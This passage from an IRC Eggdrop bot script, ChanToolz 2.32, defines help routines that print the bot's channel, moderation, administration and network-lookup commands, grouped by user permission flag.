   putserv "Notice $nick :The [char]nslookup command looks up a user"
   putserv "Notice $nick :via the Unix machine"
   putserv "Notice $nick :Usage: [char]nslookup <ip/dns address>"
   return 1
   }
   if {$args == "dig"} {
   putserv "Notice $nick :Help on: DIG"
   putserv "Notice $nick :The [char]dig command shows stats about the"
   putserv "Notice $nick :users connection"
   putserv "Notice $nick :Usage: [char]dig <ip/dns address>"
   return 1
   }
   if {$args == "who"} {
   putserv "Notice $nick :Help on: WHO"
   putserv "Notice $nick :The [char]who command shows information"
   putserv "Notice $nick :about the user"
   putserv "Notice $nick :Usage: [char]who <ip/dns address>"
   return 1
   }

}
putserv "Notice $nick :Hi, I'm $botnick running ChanToolzPro"
putserv "Notice $nick :All Commands start with [char]"
putserv "Notice $nick :An Example of a Command is [char]time"
putserv "Notice $nick :For More help Type [char]help <Command>"
putserv "Notice $nick :          "
putserv "Notice $nick :Your Commands are:"
putserv "Notice $nick :info  date  idle  ptime  time  ver  version"
if {[matchattr $handle p]} {
putserv "Notice $nick :bots  chat"
}
if {[matchattr $handle o]} {
putserv "Notice $nick :          "
putserv "Notice $nick :OP COMMANDS"
putserv "Notice $nick :act  away  back  ban  banner  bans"
putserv "Notice $nick :chaninfo  chanlist  channels  dcclist debug"
putserv "Notice $nick :devoice  down  ignorelist  hosts  invite"
putserv "Notice $nick :kick  kill  list  mode  msg  notice  op"
putserv "Notice $nick :ping  return  seen  server  shit  shutup"
putserv "Notice $nick :status  talk  togsplits  topic  unban  up"
putserv "Notice $nick :voice  whochan  whois"
}
if {[matchattr $handle m]} {
putserv "Notice $nick :          "
putserv "Notice $nick :MASTER COMMANDS"
putserv "Notice $nick :addbot  adduser  chattr  clearmode  ctcpr"
putserv "Notice $nick :cycle  die  flip  join  jump  leet  link"
putserv "Notice $nick :part  nick  reload  rembot  remuser  say"
putserv "Notice $nick :save  set  switch  unlink  userlist"
putserv "Notice $nick :          "
putserv "Notice $nick :SHELL COMMANDS (may ping out bot)"
putserv "Notice $nick :trace  nslookup  dig  who"
}
putserv "Notice $nick :          "
putserv "Notice $nick :End of ChanToolz Help"
putlog "#$handle# help - channel"
}

proc cmd_pubhelp {hand idx arg} {
putdcc $idx "### ChanToolz Help ###"
putdcc $idx ""
putdcc $idx "### Public Commands (Preformed in Channel) ###"
putdcc $idx "### All Commands Start with your Command Char - [char] ###" 
putdcc $idx ""
putdcc $idx "Master Only Commands (+m)         Description"
putdcc $idx "~~~~~~~~~~~~~~~~~~~~" 
putdcc $idx "addbot <nick> <server:port>     - Adds a Bot to my Userfile"
putdcc $idx "adduser <nick>                  - Adds a User"
putdcc $idx "chattr <nick> <+/- nmofvpxt>    - Makes me Change a users Flags."
putdcc $idx "clearmode                       - Clears Channel Modes"
putdcc $idx "ctcpr <nick> <command> <reply>  - CTCP reply a User"
putdcc $idx "cycle                           - Makes me Cycle the Chan"
putdcc $idx "die                             - Shuts down Bot"
putdcc $idx "flip <text>                     - Does Backwards talk"
putdcc $idx "join <#channel>                 - Joins Channel"
putdcc $idx "jump <server:port>              - Changes Servers"
putdcc $idx "leet <text>                     - Uses cool text to say words"
putdcc $idx "link <bot>                      - Links to the given bot"
putdcc $idx "part <#channel>                 - Leave Channel"
putdcc $idx "nick <newnick>                  - Changes Bots Nickname"
putdcc $idx "reload                          - Reloads User File"
putdcc $idx "rembot <botnick>                - Removes a Bot"
putdcc $idx "remuser <nick>                  - Removes a User"
putdcc $idx "say <phrase>                    - Makes me Talk"
putdcc $idx "save                            - Saves User File"
putdcc $idx "set <setting> <what>            - Changes current Settings"
putdcc $idx "switch <text>                   - Switched Words around in a sentence"
putdcc $idx "unlink <bot>                    - Unlink specified bot"
putdcc $idx "userlist                        - Shows Current Userlist"
putdcc $idx " "
putdcc $idx "Master/Ops Commands (+m or +o)    Description"
putdcc $idx "~~~~~~~~~~~~~~~~~~~"
putdcc $idx "act <action>                    - Does an Action"
putdcc $idx "away <away message>             - Sets Bot Away"
putdcc $idx "back                            - Marks Bot as Returned" 
putdcc $idx "ban <nick>                      - Bans a User"
putdcc $idx "banner <message>                - Room Wide Message"
putdcc $idx "bans                            - Shows Channel Bans"
putdcc $idx "chaninfo                        - Lists channel info"
putdcc $idx "chanlist <userflags>            - Finds Users on Channel with Matching Flags"
putdcc $idx "channels                        - Tells channels i am on."
putdcc $idx "clearbans                       - Clears bans in Channel"
putdcc $idx "dcclist                         - Shows users connected to me by DCC"
putdcc $idx "debug                           - Checks Script for Errors."
putdcc $idx "deop <nick>                     - Makes me Deop a User"
putdcc $idx "devoice <nick>                  - Takes Users Voice (-v)"
putdcc $idx "down                            - Makes me Deop You"
putdcc $idx "hosts                           - Shows Your Hostmasks"
putdcc $idx "ignorelist                      - Shows the Bots Ignorelist"
putdcc $idx "invite <nick> <channel>         - Invites nick to Channel"
putdcc $idx "kick <nick> <reason>            - Makes me Kick a User"
putdcc $idx "kill <nick>                     - Kick/Ban a User"
putdcc $idx "list <userflags>                - Returns Users with Matching Flags"
putdcc $idx "mode <modes>                    - Changes Chanmodes (+sm etc.)"
putdcc $idx "momma <nick>                    - Tells nick a Momma Joke"
putdcc $idx "msg <nick> <message>            - Makes me Msg someone"
putdcc $idx "notice <nick> <notice>          - Notices a Nickname with Msg"
putdcc $idx "op <nick>                       - Makes me Op someone else."
putdcc $idx "ping                            - Publically Ping the Bot"
putdcc $idx "return <ctcp command> <nick>    - Returns Nick's CTCP Response"
putdcc $idx "seen <nick>                     - Shows Last time User was on"
putdcc $idx "server                          - Shows Current Server"
putdcc $idx "shit <nick>                     - Makes me Permban Someone"
putdcc $idx "shutup <nick>                   - Places person on Shutup Kick"
putdcc $idx "status                          - Shows Bot Status"
putdcc $idx "talk <nick>                     - Lets person on Shutup Kick Talk"
putdcc $idx "togsplits                       - Toggles Split Detector On/Off"
putdcc $idx "topic <topic>                   - Changes Channel Topic"
putdcc $idx "unban <nick/host>               - Unbans a User"
putdcc $idx "up                              - Makes me Op you."
putdcc $idx "usercount                       - Counts Users in Channel"
putdcc $idx "voice <nick>                    - Give user Voice (+v)"
putdcc $idx "whochan <channel>               - Shows who's on the Channel"
putdcc $idx "whois <nick>                    - Tells about nick"
putdcc $idx " "
putdcc $idx "Other User Commands       Flags     Description"
putdcc $idx "~~~~~~~~~~~~~~~~~~~"
putdcc $idx "bots                      +p      - Shows Bots Connected"
putdcc $idx "chat                      +p      - Makes Bot DCC Chat with You"
putdcc $idx "channels                  +f      - Shows Channels I am on"
putdcc $idx "date                      --      - Shows Current Date"
putdcc $idx "idle <nick>               --      - Checks Idle Time for User"
putdcc $idx "ptime                     --      - Checks Your Lag"
putdcc $idx "sendnote <from who> <to who> <note> +f - Sends a note"
putdcc $idx "time                      --      - Returns Current Time"
putdcc $idx "ver                       --      - Shows Script Version"
putdcc $idx "version                   --      - Tells Script Version"
putdcc $idx ""
putdcc $idx "### End of Public Commands ###"
putlog "#$hand# pubhelp"
}

proc cmd_help {hand idx arg} {
putdcc $idx ""
putdcc $idx "### ChanToolz Help ###"
putdcc $idx ""
putdcc $idx "### DCC Help (Commands in DCC Chat) ###"
putdcc $idx ""
putdcc $idx " .spynotes <nick> (+n)       - Look at User Notes"
putdcc $idx " "
putdcc $idx "Master Commands (+m)           Description"
putdcc $idx "~~~~~~~~~~~~~~~"
putdcc $idx " .checkpass                  - Finds users that have no pass set"
putdcc $idx " .cycle <#channel>           - Cycles Channel"
putdcc $idx " .flagnote <flag> <message>  - Sends Users with Given Flag the Message"
putdcc $idx " .floodhelp                  - Help on Built-In Flooding"
putdcc $idx " .join <#channel>            - Joins Channel"
putdcc $idx " .massdeop <#channel>        - De Ops all But Masters"
putdcc $idx " .massop <#channel>          - Ops all Masters and Ops"
putdcc $idx " .part <#channel>            - Parts Channel"
putdcc $idx " .pubhelp                    - Public Commands Help"
putdcc $idx " .sendmail                   - Sends SMPT Email to Users"
putdcc $idx " "
putdcc $idx "Master/Ops Commands (+m/+o)    Description"
putdcc $idx "~~~~~~~~~~~~~~~~~~~"
putdcc $idx " .enforcemode <channel> <settings> - Enforces Channel Mode"
putdcc $idx " .mode <+stn-lipm>           - changes the Channels Modes. (+stn-pmi  etc)"
putdcc $idx " .seen <nick>                - Shows last time User was Seen"
putdcc $idx " .unbans <hostmask>          - Unban all Users with same HostMask"
putdcc $idx ""
putdcc $idx "### End of DCC Commands ###"
putlog "#$hand# dcchelp"
}

putlog "ChanToolz 2.32 by _GoGo_ (yu132952@yorku.ca) Loaded."